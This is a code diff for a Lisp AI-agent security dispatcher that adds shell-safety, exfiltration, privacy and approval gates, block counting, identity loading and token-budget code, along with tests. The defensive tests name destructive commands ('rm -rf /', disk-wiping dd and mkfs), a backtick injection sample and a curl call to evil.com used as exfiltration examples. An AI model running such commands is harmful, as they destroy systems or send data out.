+                                   :text (format nil "Action blocked: Content tagged with privacy filter (~a)." tags))))
+            ((eq severity :warn)
+             (log-message "PRIVACY WARNING: @tag ~a (allowed with warning)" tags)
+             action)
+            ((eq severity :log)
+             (log-message "PRIVACY: @tag ~a (logged)" tags)
+             action))))
+
+       ;; Vector 6: Text leaks privacy tag names
+       ((and text (dispatcher-check-text-for-privacy text))
+        (log-message "PRIVACY WARNING: Text may contain leaked private content")
+        (dispatcher-block-record :privacy-text)
+        (list :type :LOG
+              :payload (list :level :warn
+                             :text "Action blocked: Text may reference private content.")))
+
+        ;; Vector 7: Shell destructive/injection patterns
+       ((and cmd (dispatcher-check-shell-safety cmd))
+        (let ((matched (dispatcher-check-shell-safety cmd)))
+          (log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
+          (dispatcher-block-record :shell-safety)
+          (list :type :LOG
+                :payload (list :level :error
+                               :text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))
+
+       ;; Vector 8: Network exfiltration
+       ((and (or (eq target :shell)
+                 (and (eq target :tool) (equal (proto-get payload :tool) "shell")))
+             (dispatcher-check-network-exfil cmd))
+         (log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
+         (dispatcher-block-record :network-exfil)
+         (list :type :EVENT :level :approval-required
+               :payload (list :sensor :approval-required :action action)))
+
+       ;; Vector 8b: High-impact action approval
+       ((or (member target '(:shell))
+            (and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
+            (and (eq target :emacs) (eq (proto-get payload :action) :eval))
+            (and (eq target :system) (eq (proto-get payload :action) :eval)))
+        (log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
+        (dispatcher-block-record :high-impact-approval)
+        (list :type :EVENT :payload (list :sensor :approval-required :action action)))
       (t action))))
 
 (defun dispatcher-approvals-process ()
@@ -329,7 +397,7 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
              (action-str (getf attrs :ACTION)))
         (when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
           (log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
-          (let ((action (ignore-errors (read-from-string action-str))))
+          (let ((action (ignore-errors (let ((*read-eval* nil)) (read-from-string action-str)))))
             (when action
               (setf (getf action :approved) t)
               (stimulus-inject (list :type :EVENT
@@ -438,6 +506,25 @@ Recognized formats:
   :trigger (lambda (ctx) (declare (ignore ctx)) t)
   :deterministic #'dispatcher-gate)
 
+(defvar *dispatcher-block-counts* (make-hash-table :test 'equal)
+  "Per-gate block count: maps gate keyword → integer.")
+
+(defun dispatcher-block-record (gate-name)
+  "Records a block decision for GATE-NAME. Returns the updated count."
+  (let ((count (1+ (gethash gate-name *dispatcher-block-counts* 0))))
+    (setf (gethash gate-name *dispatcher-block-counts*) count)
+    count))
+
+(defun dispatcher-block-counts-summary ()
+  "Returns plist (:total <N> :by-gate ((<gate> . <count>) ...))."
+  (let* ((by-gate
+          (loop for k being the hash-keys of *dispatcher-block-counts*
+                for v = (gethash k *dispatcher-block-counts*)
+                collect (cons k v)))
+         (total (reduce #'+ (mapcar #'cdr by-gate) :initial-value 0))
+         (sorted (sort (copy-list by-gate) #'> :key #'cdr)))
+    (list :total total :by-gate sorted)))
+
 (eval-when (:compile-toplevel :load-toplevel :execute)
   (ql:quickload :fiveam :silent t))
 
@@ -524,3 +611,346 @@ Recognized formats:
   (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
   (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
   (is (not (dispatcher-check-network-exfil "echo hello"))))
+
+;; ── v0.7.2 Tag Stack ──
+
+(test test-tag-categories-load
+  "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
+  (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
+  (passepartout::tag-categories-load)
+  (let ((cats passepartout::*tag-categories*))
+    (is (>= (length cats) 1))
+    (is (eq :block (passepartout::tag-category-severity "@personal")))
+    (is (eq :warn (passepartout::tag-category-severity "@draft")))
+    (is (eq :log (passepartout::tag-category-severity "@review"))))
+  (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
+
+(test test-tag-category-severity-unknown
+  "Contract v0.7.2: unknown tag returns nil."
+  (is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
+
+(test test-privacy-severity-block
+  "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
+  (setf passepartout::*tag-categories* '(("@personal" . :block)))
+  (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
+
+(test test-privacy-severity-warn
+  "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
+  (setf passepartout::*tag-categories* '(("@draft" . :warn)))
+  (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
+
+(test test-privacy-severity-nil
+  "v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
+  (setf passepartout::*tag-categories* nil)
+  (is (null (passepartout::dispatcher-privacy-severity '("public")))))
+
+(test test-tag-trigger-record
+  "v0.7.2: tag-trigger-record increments per-tag count."
+  (clrhash passepartout::*tag-trigger-count*)
+  (passepartout::tag-trigger-record "@personal")
+  (passepartout::tag-trigger-record "@personal")
+  (passepartout::tag-trigger-record "@draft")
+  (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
+  (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
+  (clrhash passepartout::*tag-trigger-count*))
+
+(test test-tag-categories-privacy-fallback
+  "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
+  (let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
+        (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
+        (saved-tag (uiop:getenv "TAG_CATEGORIES"))
+        (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
+    ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
+    (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
+    (sb-posix:unsetenv "TAG_CATEGORIES")
+    (passepartout::tag-categories-load)
+    (is (eq :block (passepartout::tag-category-severity "@personal")))
+    (is (eq :block (passepartout::tag-category-severity "@draft")))
+    ;; Restore
+    (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
+    (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
+    (passepartout::tag-categories-load)))
+
+(test test-safe-tool-read-only-auto-approve
+  "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
+  (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "test-ro-tool"
+                                          :description "Read-only test"
+                                          :parameters nil
+                                          :guard nil
+                                          :body nil
+                                          :read-only-p t))
+  (unwind-protect
+       (let* ((action '(:TYPE :REQUEST :TARGET :tool
+                        :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
+              (result (dispatcher-check action nil)))
+         (is (eq :REQUEST (getf result :type)))
+         (is (not (member (getf result :type) '(:LOG :approval-required)))))
+    (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
+
+(test test-safe-tool-write-still-checked
+  "Contract v0.7.2: write tools still go through full dispatcher check."
+  (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
+    (setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
+          (passepartout::make-cognitive-tool :name "write-file"
+                                            :description "File writer"
+                                            :parameters nil
+                                            :guard nil
+                                            :body nil
+                                            :read-only-p nil))
+    (unwind-protect
+         (progn
+           (setf (uiop:getenv "SELF_BUILD_MODE") "true")
+           (let* ((action '(:TYPE :REQUEST :TARGET :tool
+                            :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
+                  (result (dispatcher-check action nil)))
+             (is (eq :approval-required (getf result :level)))
+             (is (search "HITL" (getf (getf result :payload) :message)))))
+      (setf (uiop:getenv "SELF_BUILD_MODE") "false")
+      (if orig-tool
+          (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
+          (remhash "write-file" passepartout::*cognitive-tool-registry*)))))
+#+end_src* v0.8.0 Tests — Block Counts
+#+begin_src lisp
+(in-package :passepartout-security-dispatcher-tests)
+
+(test test-block-record-increments
+  "Contract 10: dispatcher-block-record increments per-gate count."
+  (clrhash passepartout::*dispatcher-block-counts*)
+  (is (= 1 (passepartout::dispatcher-block-record :shell-safety)))
+  (is (= 2 (passepartout::dispatcher-block-record :shell-safety)))
+  (is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*))))
+
+(test test-block-counts-summary
+  "Contract 11: dispatcher-block-counts-summary returns total and by-gate."
+  (clrhash passepartout::*dispatcher-block-counts*)
+  (passepartout::dispatcher-block-record :shell-safety)
+  (passepartout::dispatcher-block-record :shell-safety)
+  (passepartout::dispatcher-block-record :secret-path)
+  (let ((s (passepartout::dispatcher-block-counts-summary)))
+    (is (= 3 (getf s :total)))
+    (let ((by-gate (getf s :by-gate)))
+      (is (= 2 (cdr (assoc :shell-safety by-gate))))
+      (is (= 1 (cdr (assoc :secret-path by-gate)))))))
+
+(test test-block-counts-empty
+  "Contract 11: dispatcher-block-counts-summary returns zero when no blocks."
+  (clrhash passepartout::*dispatcher-block-counts*)
+  (let ((s (passepartout::dispatcher-block-counts-summary)))
+    (is (= 0 (getf s :total)))
+    (is (null (getf s :by-gate)))))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-security-dispatcher-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:dispatcher-suite))
+
+(in-package :passepartout-security-dispatcher-tests)
+
+(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
+(in-suite dispatcher-suite)
+
+(test test-wildcard-match
+  "Contract 1: wildcard pattern * matches any characters."
+  (is (wildcard-match "*.env" ".env"))
+  (is (wildcard-match "*.env" "prod.env"))
+  (is (wildcard-match "*credential*" "my-credential-file"))
+  (is (wildcard-match "*.key" "id_rsa.key"))
+  (is (not (wildcard-match "*.env" "config.yaml"))))
+
+(test test-check-secret-path
+  "Contract 2: dispatcher-check-secret-path matches protected patterns."
+  (is (dispatcher-check-secret-path ".env"))
+  (is (dispatcher-check-secret-path "id_rsa"))
+  (is (not (dispatcher-check-secret-path "README.org"))))
+
+(test test-self-build-core-protection
+  "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
+  ;; Core paths are recognized
+  (is (passepartout::dispatcher-check-core-path "core-reason.org"))
+  (is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
+  (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
+  ;; With SELF_BUILD_MODE=true, core writes produce approval-required
+  (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
+    (setf (uiop:getenv "SELF_BUILD_MODE") "true")
+    (let ((result (dispatcher-check action nil)))
+      (is (eq :approval-required (getf result :level)))
+      (setf (uiop:getenv "SELF_BUILD_MODE") "false"))
+    ;; With SELF_BUILD_MODE=false (default), writes pass through
+    (let ((result (dispatcher-check action nil)))
+      (is (eq :REQUEST (getf result :type))))))
+
+(test test-check-shell-safety
+  "Contract 3: dispatcher-check-shell-safety detects dangerous commands."
+  (is (dispatcher-check-shell-safety "rm -rf /"))
+  (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
+  (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
+  (is (not (dispatcher-check-shell-safety "echo hello world")))
+  (is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
+
+(test test-shell-safety-severity-catastrophic
+  "Contract 3/v0.4.3: destructive commands return :catastrophic severity."
+  (let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
+        (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
+    (is (eq :catastrophic (getf r1 :severity)))
+    (is (eq :catastrophic (getf r2 :severity)))))
+
+(test test-shell-safety-severity-dangerous
+  "Contract 3/v0.4.3: injection patterns return :dangerous severity."
+  (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
+    (is (eq :dangerous (getf result :severity)))))
+
+(test test-shell-safety-severity-safe
+  "Contract 3/v0.4.3: harmless commands return nil."
+  (is (null (dispatcher-check-shell-safety "echo hello world")))
+  (is (null (dispatcher-check-shell-safety "ls -la /tmp")))
+  (is (null (dispatcher-check-shell-safety "cat file.txt"))))
+
+(test test-dispatcher-severity-max
+  "dispatcher-severity-max returns the higher tier."
+  (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
+  (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
+  (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
+  (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
+
+(test test-check-privacy-tags
+  "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
+  (is (dispatcher-check-privacy-tags '("@personal" ":project:")))
+  (is (dispatcher-check-privacy-tags '("@personal")))
+  (is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
+
+(test test-check-network-exfil
+  "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
+  (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
+  (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
+  (is (not (dispatcher-check-network-exfil "echo hello"))))
+
+;; ── v0.7.2 Tag Stack ──
+
+(test test-tag-categories-load
+  "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
+  (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
+  (passepartout::tag-categories-load)
+  (let ((cats passepartout::*tag-categories*))
+    (is (>= (length cats) 1))
+    (is (eq :block (passepartout::tag-category-severity "@personal")))
+    (is (eq :warn (passepartout::tag-category-severity "@draft")))
+    (is (eq :log (passepartout::tag-category-severity "@review"))))
+  (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
+
+(test test-tag-category-severity-unknown
+  "Contract v0.7.2: unknown tag returns nil."
+  (is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
+
+(test test-privacy-severity-block
+  "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
+  (setf passepartout::*tag-categories* '(("@personal" . :block)))
+  (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
+
+(test test-privacy-severity-warn
+  "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
+  (setf passepartout::*tag-categories* '(("@draft" . :warn)))
+  (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
+
+(test test-privacy-severity-nil
+  "v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
+  (setf passepartout::*tag-categories* nil)
+  (is (null (passepartout::dispatcher-privacy-severity '("public")))))
+
+(test test-tag-trigger-record
+  "v0.7.2: tag-trigger-record increments per-tag count."
+  (clrhash passepartout::*tag-trigger-count*)
+  (passepartout::tag-trigger-record "@personal")
+  (passepartout::tag-trigger-record "@personal")
+  (passepartout::tag-trigger-record "@draft")
+  (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
+  (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
+  (clrhash passepartout::*tag-trigger-count*))
+
+(test test-tag-categories-privacy-fallback
+  "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
+  (let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
+        (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
+        (saved-tag (uiop:getenv "TAG_CATEGORIES"))
+        (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
+    ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
+    (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
+    (sb-posix:unsetenv "TAG_CATEGORIES")
+    (passepartout::tag-categories-load)
+    (is (eq :block (passepartout::tag-category-severity "@personal")))
+    (is (eq :block (passepartout::tag-category-severity "@draft")))
+    ;; Restore
+    (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
+    (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
+    (passepartout::tag-categories-load)))
+
+(test test-safe-tool-read-only-auto-approve
+  "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
+  (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "test-ro-tool"
+                                          :description "Read-only test"
+                                          :parameters nil
+                                          :guard nil
+                                          :body nil
+                                          :read-only-p t))
+  (unwind-protect
+       (let* ((action '(:TYPE :REQUEST :TARGET :tool
+                        :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
+              (result (dispatcher-check action nil)))
+         (is (eq :REQUEST (getf result :type)))
+         (is (not (member (getf result :type) '(:LOG :approval-required)))))
+    (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
+
+(test test-safe-tool-write-still-checked
+  "Contract v0.7.2: write tools still go through full dispatcher check."
+  (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
+    (setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
+          (passepartout::make-cognitive-tool :name "write-file"
+                                            :description "File writer"
+                                            :parameters nil
+                                            :guard nil
+                                            :body nil
+                                            :read-only-p nil))
+    (unwind-protect
+         (progn
+           (setf (uiop:getenv "SELF_BUILD_MODE") "true")
+           (let* ((action '(:TYPE :REQUEST :TARGET :tool
+                            :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
+                  (result (dispatcher-check action nil)))
+             (is (eq :approval-required (getf result :level)))
+             (is (search "HITL" (getf (getf result :payload) :message)))))
+      (setf (uiop:getenv "SELF_BUILD_MODE") "false")
+      (if orig-tool
+          (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
+          (remhash "write-file" passepartout::*cognitive-tool-registry*)))))
+#+end_src* v0.8.0 Tests — Block Counts
+#+begin_src lisp
+(in-package :passepartout-security-dispatcher-tests)
+
+(test test-block-record-increments
+  "Contract 10: dispatcher-block-record increments per-gate count."
+  (clrhash passepartout::*dispatcher-block-counts*)
+  (is (= 1 (passepartout::dispatcher-block-record :shell-safety)))
+  (is (= 2 (passepartout::dispatcher-block-record :shell-safety)))
+  (is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*))))
+
+(test test-block-counts-summary
+  "Contract 11: dispatcher-block-counts-summary returns total and by-gate."
+  (clrhash passepartout::*dispatcher-block-counts*)
+  (passepartout::dispatcher-block-record :shell-safety)
+  (passepartout::dispatcher-block-record :shell-safety)
+  (passepartout::dispatcher-block-record :secret-path)
+  (let ((s (passepartout::dispatcher-block-counts-summary)))
+    (is (= 3 (getf s :total)))
+    (let ((by-gate (getf s :by-gate)))
+      (is (= 2 (cdr (assoc :shell-safety by-gate))))
+      (is (= 1 (cdr (assoc :secret-path by-gate)))))))
+
+(test test-block-counts-empty
+  "Contract 11: dispatcher-block-counts-summary returns zero when no blocks."
+  (clrhash passepartout::*dispatcher-block-counts*)
+  (let ((s (passepartout::dispatcher-block-counts-summary)))
+    (is (= 0 (getf s :total)))
+    (is (null (getf s :by-gate)))))

lisp/security-vault.lisp

@@ -34,8 +34,6 @@
   :priority 600
   :trigger (lambda (ctx) (declare (ignore ctx)) nil))
 
-(defvar *VAULT-MEMORY* (make-hash-table :test 'equal))
-
 (eval-when (:compile-toplevel :load-toplevel :execute)
   (ql:quickload :fiveam :silent t))
 

lisp/symbolic-identity.lisp

@@ -0,0 +1,92 @@
+(in-package :passepartout)
+
+(defvar *agent-identity* ""
+  "Identity text loaded from ~/memex/IDENTITY.org at startup.
+
+This variable holds the contents of the user's identity file.
+Loaded by `load-identity-file` at daemon/skill initialization,
+called from `agent-identity` for system prompt injection.
+
+The file is user-editable and persists across restarts.
+If the file is missing or empty, this variable remains \"\".")
+
+(defun load-identity-file (&optional (path nil path-p))
+  "Load agent identity from an org file.
+
+Reads the identity text file and caches it in
+`*agent-identity*`.  If PATH is not provided, defaults to
+`~/memex/IDENTITY.org`.
+
+Returns the file content string on success, or NIL if the file
+does not exist or cannot be read."
+  (let* ((file-path (if path-p
+                        (uiop:ensure-pathname path :ensure-absolute t)
+                        (merge-pathnames "memex/IDENTITY.org"
+                                         (user-homedir-pathname)))))
+    (when (uiop:file-exists-p file-path)
+      (handler-case
+          (let ((content (uiop:read-file-string file-path)))
+            (setf *agent-identity* content)
+            content)
+        (error () nil)))))
+
+(defun agent-identity ()
+  "Return the currently loaded agent identity string."
+  (or *agent-identity* ""))
+
+;; Auto-load identity at skill init
+(load-identity-file)
+
+(defpackage :passepartout-identity-tests
+  (:use :common-lisp :fiveam :passepartout)
+  (:export :identity-suite))
+
+(in-package :passepartout-identity-tests)
+
+(def-suite identity-suite
+    :description "Agent identity loading and caching")
+(in-suite identity-suite)
+
+(test test-load-identity-file-returns-content
+  "Contract 1: load-identity-file reads an existing file, returns content."
+  (let* ((path "/tmp/memex-test-identity.org")
+         (content "### Personality
+- Friendly
+- Concise"))
+    (with-open-file (f path :direction :output :if-exists :supersede)
+      (write-string content f))
+    (unwind-protect
+         (let ((result (passepartout::load-identity-file path)))
+           (is (stringp result))
+           (is (search "Friendly" result))
+           (is (search "Concise" result)))
+      (ignore-errors (delete-file path)))))
+
+(test test-load-identity-file-missing-nil
+  "Contract 1: nil when file does not exist."
+  (let ((result (passepartout::load-identity-file
+                 "/tmp/memex-nonexistent-xxxx.org")))
+    (is (null result))))
+
+(test test-agent-identity-cached
+  "Contract 2+3: agent-identity returns cached value after load."
+  (let* ((path "/tmp/memex-test-identity2.org")
+         (content "### Preferences
+- Use shell cautiously"))
+    (with-open-file (f path :direction :output :if-exists :supersede)
+      (write-string content f))
+    (unwind-protect
+         (progn
+           (passepartout::load-identity-file path)
+           (let ((id (passepartout::agent-identity)))
+             (is (search "shell cautiously" id))))
+      (ignore-errors (delete-file path)))))
+
+(test test-agent-identity-empty-default
+  "Contract 2: returns empty string when nothing was loaded."
+  (let ((prev passepartout::*agent-identity*))
+    (unwind-protect
+         (progn
+           (setf passepartout::*agent-identity* nil)
+           (is (string= "" (passepartout::agent-identity))))
+      (setf passepartout::*agent-identity* prev))))

lisp/symbolic-scope.lisp

@@ -166,45 +166,3 @@ until stack is empty or :memex context is reached."
 
 ;; Restore persisted context on load
 (context-load)
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-context-tests
-  (:use :cl :passepartout)
-  (:export #:context-suite))
-
-(in-package :passepartout-context-tests)
-
-(fiveam:def-suite context-suite :description "Context manager verification")
-(fiveam:in-suite context-suite)
-
-(fiveam:test test-push-pop-context
-  "Contract 1-2: push-context and pop-context maintain stack order."
-  (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
-         (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
-         (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
-    (when stack-var
-      (setf (symbol-value stack-var) nil)
-      (push-context :project "testapp" :base-path "/tmp" :scope :project)
-      (fiveam:is (= 1 (length (symbol-value stack-var))))
-      (fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project)))
-      (pop-context)
-      (fiveam:is (null (symbol-value stack-var))))))
-
-(fiveam:test test-context-save-load
-  "Contract 3-4: context-save and context-load round-trip."
-  (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
-         (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
-         (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
-    (when (and stack-var pf-var)
-      (let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory))))
-        (setf (symbol-value pf-var) tmpfile)
-        (setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project)))
-        (context-save)
-        (fiveam:is (probe-file tmpfile))
-        (setf (symbol-value stack-var) nil)
-        (context-load)
-        (fiveam:is (= 1 (length (symbol-value stack-var))))
-        (fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project)))
-        (ignore-errors (delete-file tmpfile))))))

lisp/token-economics.lisp

@@ -3,19 +3,21 @@
 (defvar *prompt-prefix-cache* (cons nil "")
   "Prompt prefix cache: (sxhash . cached-string). Rebuilt when IDENTITY or TOOLS change.")
 
-(defvar *context-cache* (list :foveal-id nil :scope nil :memory-timestamp 0 :rendered "")
+(defvar *context-cache* (list :foveal-id nil :scope nil :memory-timestamp 0 :rendered ""
+                            :identity-tokens 0 :tool-tokens 0 :context-tokens 0
+                            :log-tokens 0 :config-tokens 0 :time-tokens 0)
   "Context assembly cache: metadata + last rendered context string.")
 
-(defun prompt-prefix-cached (assistant-name feedback mandates-text tool-belt)
+(defun prompt-prefix-cached (assistant-name identity-content feedback mandates-text tool-belt)
   "Build the static IDENTITY+TOOLS system prompt prefix.
 Uses sxhash on inputs to detect changes; returns cached string on cache hit."
-  (let* ((hash-key (sxhash (list assistant-name feedback mandates-text tool-belt)))
+  (let* ((hash-key (sxhash (list assistant-name identity-content feedback mandates-text tool-belt)))
          (cached-hash (car *prompt-prefix-cache*))
          (cached-str (cdr *prompt-prefix-cache*)))
     (if (and cached-str (> (length cached-str) 0) (= hash-key cached-hash))
         cached-str
-        (let ((new-prefix (format nil "IDENTITY: ~a~a~a~%~%TOOLS:~%~a"
-                                  assistant-name feedback
+        (let ((new-prefix (format nil "IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a"
+                                  assistant-name identity-content feedback
                                   (if (and mandates-text (> (length mandates-text) 0))
                                       (concatenate 'string (string #\Newline) mandates-text)
                                       "")
@@ -64,7 +66,9 @@ with trimmed sections."
                  (ignore-errors
                    (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
                  16384)))
-    (labels ((ct (s) (funcall (symbol-function 'count-tokens) s))
+    (labels ((ct (s) (if (fboundp 'count-tokens)
+                        (funcall (symbol-function 'count-tokens) s)
+                        (ceiling (length s) 4)))
              (total-tokens (p c l u m)
              (+ (ct p)
                 (if c (ct c) 0)
@@ -102,6 +106,22 @@ with trimmed sections."
         (getf *context-cache* :memory-timestamp) 0
         (getf *context-cache* :rendered) ""))
 
+(defun context-usage-percentage ()
+  "Returns integer 0-100: current token budget consumption.
+Returns nil when no context cache data is available."
+  (let* ((limit (or (ignore-errors
+                      (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
+                    16384))
+         (tokens (+ (or (getf *context-cache* :identity-tokens) 0)
+                    (or (getf *context-cache* :tool-tokens) 0)
+                    (or (getf *context-cache* :context-tokens) 0)
+                    (or (getf *context-cache* :log-tokens) 0)
+                    (or (getf *context-cache* :config-tokens) 0)
+                    (or (getf *context-cache* :time-tokens) 0))))
+    (if (> tokens 0)
+        (min 100 (floor (* 100 tokens) limit))
+        nil)))
+
 (eval-when (:compile-toplevel :load-toplevel :execute)
   (ql:quickload :fiveam :silent t))
 
@@ -115,11 +135,22 @@ with trimmed sections."
     :description "Prompt prefix caching, incremental context, token budget")
 (in-suite token-economics-suite)
 
+(test test-prompt-prefix-cached-identity
+  "Contract 1: prompt-prefix-cached includes identity-content when provided."
+  (setf (car passepartout::*prompt-prefix-cache*) nil
+        (cdr passepartout::*prompt-prefix-cache*) "")
+  (let ((prefix (passepartout::prompt-prefix-cached
+                 "Agent" "### Mode: concise" "" nil "No tools")))
+    (is (stringp prefix))
+    (is (search "IDENTITY" prefix))
+    (is (search "Mode: concise" prefix))
+    (is (search "TOOLS" prefix))))
+
 (test test-prompt-prefix-cached-builds
   "Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
   (setf (car passepartout::*prompt-prefix-cache*) nil
         (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" nil "No tools")))
+  (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
     (is (stringp prefix))
     (is (search "IDENTITY" prefix))
     (is (search "TOOLS" prefix))))
@@ -128,16 +159,16 @@ with trimmed sections."
   "Contract 1: second call with same inputs returns cached result."
   (setf (car passepartout::*prompt-prefix-cache*) nil
         (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" nil "No tools"))
-        (p2 (passepartout::prompt-prefix-cached "Agent" "" nil "No tools")))
+  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
+        (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
     (is (string= p1 p2))))
 
 (test test-prompt-prefix-cached-miss
   "Contract 1: different inputs rebuild the cache."
   (setf (car passepartout::*prompt-prefix-cache*) nil
         (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" nil "No tools"))
-        (p2 (passepartout::prompt-prefix-cached "Bot" "" nil "No tools")))
+  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
+        (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
     (is (not (string= p1 p2)))
     (is (search "Bot" p2))))
 
@@ -189,3 +220,168 @@ with trimmed sections."
